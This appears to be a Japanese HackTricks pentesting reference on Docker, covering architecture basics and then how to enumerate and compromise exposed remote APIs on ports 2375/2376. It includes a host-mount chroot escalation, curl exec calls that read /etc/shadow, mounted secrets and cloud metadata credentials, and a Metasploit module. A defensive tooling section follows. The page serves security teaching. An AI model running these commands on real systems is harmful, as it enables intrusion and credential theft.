2375, 2376 Pentesting Docker

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Docker 基礎

とは

Dockerはコンテナ化業界における最先端のプラットフォームであり、継続的なイノベーションを牽引しています。従来型から将来志向のアプリケーションまで、アプリケーションの作成と配布を容易にし、多様な環境への安全なデプロイを保証します。

Docker の基本アーキテクチャ

  • containerd: これはコンテナのコアランタイムであり、コンテナのライフサイクルの包括的な管理を担当します。これにはイメージの転送と保存の処理に加え、コンテナの実行、監視、ネットワーキングの監督が含まれます。containerdに関するより詳しい情報は後述します。
  • The container-shim plays a critical role as an intermediary in the handling of headless containers, seamlessly taking over from runc after the containers are initialized.
  • runc: その軽量で汎用的なコンテナランタイムとして評価され、runcはOCI standardに準拠しています。containerdはOCI guidelinesに従ってコンテナを開始および管理するためにruncを使用しており、元のlibcontainerから進化しました。
  • grpc is essential for facilitating communication between containerd and the docker-engine, ensuring efficient interaction.
  • The OCI is pivotal in maintaining the OCI specifications for runtime and images, with the latest Docker versions being compliant with both the OCI image and runtime standards.

基本コマンド

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd は、特に Docker and Kubernetes のようなコンテナプラットフォームのニーズに応えるために開発されました。OS固有の機能やシステムコールを抽象化することで、Linux、Windows、Solaris などを含むさまざまなオペレーティングシステム上での コンテナの実行を簡素化する ことを目的としています。Containerd の目標は、ユーザーに必要な最小限の機能だけを含めて不要なコンポーネントを省くことですが、これを完全に達成するのは難しいと認識されています。

重要な設計上の決定は、Containerd はネットワーキングを扱わない という点です。ネットワーキングは分散システムにおける重要な要素と見なされており、Software Defined Networking (SDN) やサービスディスカバリのような複雑性がプラットフォームごとに大きく異なります。したがって、Containerd はネットワーキングの側面をサポートするプラットフォームに任せます。

Docker は Containerd を利用して コンテナを実行しますが、Containerd は Docker の機能の一部しかサポートしていないことに注意してください。具体的には、Containerd は Docker にあるネットワーク管理機能を欠いており、Docker swarms の作成を直接サポートしません。この違いは、Containerd がコンテナランタイム環境として特化した役割を持ち、より専門的な機能は統合先のプラットフォームに委ねられていることを示しています。

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman は Red Hat によって開発・保守されている、Open Container Initiative (OCI) standardsに準拠したオープンソースのコンテナエンジンです。Docker と異なる点として、特に デーモン不要のアーキテクチャroot 権限不要のコンテナ (rootless containers) をサポートしている点が挙げられ、ユーザーが root 権限なしでコンテナを実行できるようになっています。

Podman は Docker の API と互換性を持つよう設計されており、Docker の CLI コマンドを使用できます。この互換性はエコシステムにも及び、コンテナイメージのビルドに使う Buildah や、push/pull/inspect のようなイメージ操作用ツール Skopeo などが含まれます。これらのツールの詳細は GitHub page を参照してください。

主な違い

  • アーキテクチャ: Docker のバックグラウンドデーモンを伴うクライアント-サーバモデルとは異なり、Podman はデーモンなしで動作します。この設計により、コンテナは起動したユーザーの権限で実行され、root 権限を必要としないことでセキュリティが向上します。
  • Systemd 統合: Podman は systemd と統合してコンテナを管理でき、systemd ユニットを通じてコンテナ管理が可能です。これは Docker が主に Docker デーモンプロセスの管理に systemd を使用するのとは対照的です。
  • Rootless Containers: Podman の重要な特徴の一つは、コンテナを起動したユーザーの権限で実行できる点です。この方式により、コンテナの侵害時に攻撃者が得るのは侵害されたユーザーの権限のみとなり、root 権限が取得されるリスクが低減されます。

Podman のアプローチは、ユーザー権限の管理と既存の Docker ワークフローとの互換性を重視した、Docker に対する安全で柔軟な代替手段を提供します。

Tip

Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:

podman --version
podman info
pdoman images ls
podman ls

基本情報

Remote API は有効化されるとデフォルトでポート 2375 で動作します。サービスはデフォルトで認証を要求しないため、攻撃者は特権付きの docker コンテナを起動できる可能性があります。Remote API を使用することで、ホスト(/、ルートディレクトリ)をコンテナにアタッチ(マウント)し、ホスト環境のファイルを読み書きすることが可能です。

デフォルトポート: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeration

Manual

docker API を列挙するためには、docker コマンドまたは curl を使用できます。以下の例のように:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

If you can contact the remote docker API with the docker command you can execute any of the docker commands previously commented to interest with the service.

Tip

export DOCKER_HOST="tcp://localhost:2375" を設定すれば、docker コマンドで -H パラメータを避けることができます

Fast privilege escalation

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

時々、2376TLS エンドポイントで稼働しているのを見かけます。docker client では接続できませんでしたが、curl では接続可能です。

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

この件についてさらに詳しく知りたい場合、コマンドをコピーした元のページで詳細が確認できます: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

自動

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising

以下のページでは、escape from a container の方法を確認できます:

Container Security

これを悪用すると、リモートマシン上で脆弱なコンテナを実行し、そこから escape from a container して、compromise the machine することができます:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Privilege Escalation

もし docker を使用しているホスト内にいる場合、read this information to try to elevate privileges

実行中の Docker コンテナ内でのシークレットの発見

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

機密情報を探すためにenv(環境変数セクション)を確認すると、以下のものが見つかる場合があります:

  • Passwords.
  • Ip’s.
  • Ports.
  • Paths.
  • Others… .

ファイルを抽出したい場合:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Docker のセキュリティ対策

Docker のインストールと使用のセキュリティ

  • You can use the tool https://github.com/docker/docker-bench-security を使って現在の docker インストールを確認できます。
  • ./docker-bench-security.sh
  • You can use the tool https://github.com/kost/dockscan を使って現在の docker インストールを確認できます。
  • dockscan -v unix:///var/run/docker.sock
  • You can use the tool https://github.com/genuinetools/amicontained を使って、異なるセキュリティオプションで実行した場合にコンテナが持つ権限を確認できます。これは、特定のセキュリティオプションでコンテナを実行することの影響を理解するのに役立ちます:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Docker イメージのセキュリティ

  • You can use a docker image of https://github.com/quay/clair を使って、他の docker イメージをスキャンし脆弱性を検出できます。
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Dockerfile のセキュリティ

  • You can use the tool https://github.com/RedCoolBeans/dockerlint を使って Dockerfile を検査する と、あらゆる種類のミスコンフィギュレーションを見つけられます。
  • dockerlint Dockerfile

  • You can use the tool https://github.com/hadolint/hadolint を使って Dockerfile を検査する と、あらゆる種類のミスコンフィギュレーションを見つけられます。
  • hadolint Dockerfile

不審な活動のログ

  • You can use the tool https://github.com/falcosecurity/falco を使って 実行中のコンテナ内の不審な動作を検出する ことができます。
  • 以下の出力例では、Falco がカーネルモジュールをコンパイルして挿入すること に注目してください。その後、ルールを読み込み、不審な活動のログ記録を開始する 仕組みになっています。今回の例では、2つの特権コンテナの起動(うち1つは機密性の高いマウントあり)を検出し、数秒後にコンテナの1つ内でシェルが開かれたことを検出しています。
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Docker の監視

auditd を使用して Docker を監視できます。

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする